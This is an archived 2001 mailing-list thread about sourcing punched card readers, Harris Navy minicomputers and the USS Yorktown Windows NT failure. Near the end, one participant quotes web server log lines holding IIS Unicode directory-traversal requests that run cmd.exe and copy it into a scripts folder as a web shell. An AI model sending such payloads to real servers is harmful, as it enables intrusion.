22 Jun
2001
22 Jun
'01
8:21 a.m.
Does anyone know where to find a punched card reader
these days? I'm looking for a small desktop unit that
I could interface to a PC.
I know that Harris sold a very small table top unit that was
used by the US Navy with the Harris SNAP-II mini. You might be able
to find one someplace that deals with government surplus. 
22 Jun
22 Jun
9:12 a.m.
Does anyone know where to find a punched card reader
these days? I'm looking for a small desktop unit that
I could interface to a PC.
Thinking a little more broadly might provide a larger solution set.
Computers weren't the only devices that used punched cards.
A good number of late '60's to early '70's-era programmable electronic
calculators used punched cards for easy loading of programs into the
calculator's memory.
Most of these were fairly low-volume devices, but, the mechanisms
might be adapted for automatic feeding. The devices were designed
to be small, desktop units that could easily fit on a desktop with
a calculator.
Vendors that made calculators that used such technology were
Compucorp/Monroe
and Hewlett-Packard.
The Compucorp/Monroe CR-01 card reader does have a motorized drive to run
the cards through the reading station. Some minor modifications may be
necessary
to match logic levels and clocking schemes, but it's a good start, and
may be more common than finding vintage computer punched card handlers.
You can see an example of the CR-01 in the exhibit for the Monroe 1665
electronic calculator at my "Old Calculator Web Museum" at
http://www.geocities.com/oldcalculators/monroe1665.html
Rick Bensene
The Old Calculator Web Museum
9:35 a.m.
On Fri, 22 Jun 2001, Rick Bensene wrote:
At VCF, I sold a Wang card reader. manual feed, clamshell design, not
much bigger than a deck of IBM cards. But it could only read everyother
column (40 columns v 80). Worked nicely with "portapunch" cards.
--
Grumpy Ol' Fred cisin(a)xenosoft.com
Does anyone
know where to find a punched card reader
A good number of late '60's to
early '70's-era programmable electronic
calculators used punched cards for easy loading of programs into the
calculator's memory. 
11:38 a.m.
Yes, it was only single-feed, through a slot in
the front of the box. I
mentioned it though because he didn't specify a specific type and figured he
might be able to find one with a little checking. Afterall, there are still
ships using the Harris mini's as far as I know. I've not heard that Snap-II
had been totally phased out of use yet.
Are you sure anyone is still using the Harris Mini's? BTW, I believe they
were a Harris 550. They were supposed to be phased out around the same time
as the Honeywell DPS-6's that made up SNAP I. I think NEETS Module 21 has a
little info on the Harris Mini.
Also, if anyone has the sourcecode for the "Star Trek" game that ran on the
Harris systems I'd love to get my hands on a copy! It wasn't the standard
X-Y Grid based Star Trek that has run on just about every platform (although
I think they did have one like that also).
Zane
1:15 p.m.
Are you sure anyone is still using the Harris
Mini's? BTW, I believe they
were a Harris 550. They were supposed to be phased out around the same time
as the Honeywell DPS-6's that made up SNAP I. I think NEETS Module 21 has a
little info on the Harris Mini.
I'll have to see if I still have that NEETS module here. I
don't remember the section on the Harris systems though. I know some
of the oilers were still using them since the ship wasn't large
enough to accomodate the Honeywell systems. The last time I actually
worked on one was in '93. Even the Honeywell's are being replaced by
micro's running Unix though.
Also, if anyone has the sourcecode for the "Star
Trek" game that ran on the
Harris systems I'd love to get my hands on a copy! It wasn't the standard
X-Y Grid based Star Trek that has run on just about every platform (although
I think they did have one like that also).
I've played the Star Trek as installed on the DPS-6 but never
on the Harris. Given the wide spread porting of that game, it'd be
interesting to see an archive that included the various source
versions for it.
Jeff
--
Collector of Classic Microcomputers and Video Game Systems:
Home of the TRS-80 Model 2000 FAQ File
http://www.geocities.com/siliconvalley/lakes/6757
1:26 p.m.
On Fri, 22 Jun 2001, Jeff Hellige wrote:
I'll have to see if I still have that NEETS
module here. I
don't remember the section on the Harris systems though. I know some
of the oilers were still using them since the ship wasn't large enough
to accomodate the Honeywell systems. The last time I actually worked
on one was in '93. Even the Honeywell's are being replaced by micro's
running Unix though.
Straying a bit off topic, can someone explain why the Navy, a branch of
the US military, requiring rock solid, uncompromising stability in the
systems that control their vessels, in their infinite procedural and
compliance wisdom, would choose Windows NT to control battleships?
Or was that just a sick joke? I know it wasn't, but I'd like to believe
it was ;)
Sellam Ismail Vintage Computer Festival
------------------------------------------------------------------------------
International Man of Intrigue and Danger http://www.vintage.org
2:55 p.m.
Straying a bit off topic, can someone explain why the
Navy, a branch of
the US military, requiring rock solid, uncompromising stability in the
systems that control their vessels, in their infinite procedural and
compliance wisdom, would choose Windows NT to control battleships?
Or was that just a sick joke? I know it wasn't, but I'd like to believe
it was ;)
If you're referring to battleships specifically, such as the
4 Iowa class, they've all been gone since about '94. I doubt NT had
much, if anything, to do with whatever micros they had onboard. Even
Enterprise didn't get the bulk of it's NT workstations/LAN until well
into '97. If you're referring to warships in general, yes it's sad
but true that NT appears in a few places that truly should have more
stability and security than that. LIke many other large networks,
the Navy's has been going towards a 'one size fits all' mentality.
Of course, we all know that type of thinking never works out.
Jeff
--
Collector of Classic Microcomputers and Video Game Systems:
Home of the TRS-80 Model 2000 FAQ File
http://www.geocities.com/siliconvalley/lakes/6757
3:44 p.m.
Ya mean that NT sunk our battleships???
Thankfully, no. They've all been relegated to floating
museums. All the aircraft carriers, subs, and battleships scattered
along all the coasts as museums/tourist attractions would make quite
a fleet all on their own! Certainly you would never see anything
like a battleship ever again if the existing ones were scrapped.
Jeff
--
Collector of Classic Microcomputers and Video Game Systems:
Home of the TRS-80 Model 2000 FAQ File
http://www.geocities.com/siliconvalley/lakes/6757
25 Jun
25 Jun
7:29 a.m.
Jeff Hellige wrote:
Sellam was probably referring to the 1998 incident in which the
Aegis-missile cruiser USS Yorktown was left dead in the water for
several hours when the ships propulsion system was shutdown by a
database overflow in Windows NT. The crash was caused by a
divide-by-zero error.
Mike
http://tarnover.dyndns.org/
Tarnover - The Apple II Repository
Ya mean that
NT sunk our battleships???
Thankfully, no. They've all been relegated to floating museums.
All the aircraft carriers, subs, and battleships scattered along all the
coasts as museums/tourist attractions would make quite a fleet all on
their own! Certainly you would never see anything like a battleship
ever again if the existing ones were scrapped.
Jeff 
22 Jun
22 Jun
4:12 p.m.
Jeff Hellige wrote:
I dunno, I suspect they got caught up in all the COTS (Commercial
Off The Shelf) stuff. The problem there is that you end paying a
bunch of programmers, managers, middle-managers and still others
to evaluate COTS code and pay them
the same as you would to develop it themselves. Surely, no one
should try and reinvent the buisness PC. But, battleship control, like
remote sensing satellite control is proto-typical in nature. At least to
the level where a specific product has a limited narrow application
compared to said PC.
Straying a bit
off topic, can someone explain why the Navy, a branch of
the US military, requiring rock solid, uncompromising stability in the
systems that control their vessels, in their infinite procedural and
compliance wisdom, would choose Windows NT to control battleships?
Or was that just a sick joke? I know it wasn't, but I'd like to believe
it was ;)
If you're referring to battleships specifically, such as the
4 Iowa class, they've all been gone since about '94. I doubt NT had
much, if anything, to do with whatever micros they had onboard. Even
Enterprise didn't get the bulk of it's NT workstations/LAN until well
into '97. If you're referring to warships in general, yes it's sad
but true that NT appears in a few places that truly should have more
stability and security than that. LIke many other large networks,
the Navy's has been going towards a 'one size fits all' mentality.
Of course, we all know that type of thinking never works out.
I could not have said it better myself. :)
Eric
Jeff
--
Collector of Classic Microcomputers and Video Game Systems:
Home of the TRS-80 Model 2000 FAQ File
http://www.geocities.com/siliconvalley/lakes/6757
3:59 p.m.
Sellam Ismail wrote:
On Fri, 22 Jun 2001, Jeff Hellige wrote:
CONTROL battleships? Or be on board in a network where someone needs to type up a
Word or Excel file? There is a difference. At NASA I know of no Win NT CONTROL
aspect of a satellite. The damn things run Mil-Std 1750A architectures. And I know
that the updated the HST with a rad-hardened 486 replaced the older rad-hardened
286.
I will find out what OS (low-level) actually CONTROLs it. Probably a Unix variant.
Eric
I'll have to see if I still have that
NEETS module here. I
don't remember the section on the Harris systems though. I know some
of the oilers were still using them since the ship wasn't large enough
to accomodate the Honeywell systems. The last time I actually worked
on one was in '93. Even the Honeywell's are being replaced by micro's
running Unix though.
Straying a bit off topic, can someone explain why the Navy, a branch of
the US military, requiring rock solid, uncompromising stability in the
systems that control their vessels, in their infinite procedural and
compliance wisdom, would choose Windows NT to control battleships?
Or was that just a sick joke? I know it wasn't, but I'd like to believe
it was ;)
Sellam Ismail Vintage Computer Festival
------------------------------------------------------------------------------
International Man of Intrigue and Danger http://www.vintage.org
23 Jun
23 Jun
1:48 p.m.
On Fri, 22 Jun 2001, Jeff Hellige wrote:
Straying a bit off topic, can someone explain why the Navy, a branch of
the US military, requiring rock solid, uncompromising stability in the
systems that control their vessels, in their infinite procedural and
compliance wisdom, would choose Windows NT to control battleships?
Or was that just a sick joke? I know it wasn't, but I'd like to believe
it was ;)
Sellam Ismail Vintage Computer Festival
The NT wasn't the problem. It was their database app not handling a
mistake -- a 0 input into a field that it didn't validate
led to a divide by zero error their app didn't handle.
The NT was not the problem. (I'd like to blame MS -- but this one's a
standard military contract software house screw up... probably).
---
Bill Gates is a Persian cat and a monocle away from being a
villain in a James Bond movie -- Dennis Miller
bpechter@shell.monmouth.com|pechter@pechter.dyndns.org
26 Jun
26 Jun
7:50 a.m.
At 06:48 PM 6/23/01 -0400, you wrote:
Yes, but in the version I heard, the database app's failure
then succeeded in bringing down NT. That is unacceptable.
Carlos.
--------------------------------------------------------------
Carlos E. Murillo-Sanchez carlos_murillo(a)nospammers.ieee.org
Straying a bit
off topic, can someone explain why the Navy, a branch of
the US military, requiring rock solid, uncompromising stability in the
systems that control their vessels, in their infinite procedural and
compliance wisdom, would choose Windows NT to control battleships?
Sellam Ismail
The NT wasn't the problem. It was their database app not handling a
mistake -- a 0 input into a field that it didn't validate
led to a divide by zero error their app didn't handle.
10:21 a.m.
on 6/26/01 12:50 PM, Carlos Murillo at cmurillo(a)emtelsa.multi.net.co wrote:
Yes, but in the version I heard, the database
app's failure
then succeeded in bringing down NT. That is unacceptable.
I know that there are a lot of problems with NT and legacy DOS apps. We
still run a bunch of '95 systems here because of one legacy app that just
totally belly's up if you try to run it on a NT workstation. NT also didn't
like a number of custom database applications, some of which are only a few
(4-5) years old. I believe Foxbase Pro is one of the apps we were having
problems with. I work with NT everyday and would just as soon not have
to....
Jeff
27 Jun
27 Jun
8:39 a.m.
At 03:21 PM 6/26/01 -0400, Jeff Hellige wrote:
... I work with NT everyday and would just as soon not
have
to....
These are some of the things that I have found in my http server logs:
Apr 7 10:37:34 localhost thttpd[1024]: 207.31.75.150 - - "GET
/scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af/winnt/system32/cmd.exe?/c%20dir HTTP/1.0" 404 - "" ""
Jun 20 12:08:43 localhost thttpd[1033]: 216.65.73.2 - - "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\
system32\cmd.exe+c:\inetpub\scripts\shell.exe HTTP/0.9" 404 - ""
""
The scary part is that there exists some patchlevel of NT where this
works.
carlos.
--------------------------------------------------------------
Carlos E. Murillo-Sanchez carlos_murillo(a)nospammers.ieee.org
22 Jun
22 Jun
4:50 p.m.
I'll have to see if I still have that NEETS
module here. I
don't remember the section on the Harris systems though. I know some
I think I've got it still, in fact I think I know where it is. I'm still
trying to get all the training manuals I collected over the years together.
However, I've got most, if not all of the NEETS modules I collected sitting
on a shelf in my Living Room. I just wish I had the old DS RTMs! They
covered stuff like core memory. Still the DP ones I've got have some cools
stuff since I've got the old 3&2 and 1&C with stuff like the IBM 360 :^)
There should also be a brief mention of the DPS-8 in there.
I've played the Star Trek as installed on the
DPS-6 but never
on the Harris. Given the wide spread porting of that game, it'd be
interesting to see an archive that included the various source
versions for it.
The Harris system had a totally unique version (at least I've never seen
anything else like it). You were piloting the Enterprise against Klingons
IIRC. The real problem is that it's been 12+ years since I last played it.
I spent most of my time playing games playing Zork.
Zane
8428
days inactive
8433
days old
16 comments
9 participants
participants (9)
-
celt＠chisp.net -
chomko＠greenbelt.com -
cisin＠xenosoft.com -
cmurillo＠emtelsa.multi.net.co -
foo＠siconic.com -
healyzh＠aracnet.com -
jhellige＠earthlink.net -
pechter＠bg-tc-ppp896.monmouth.com -
rickb＠bensene.com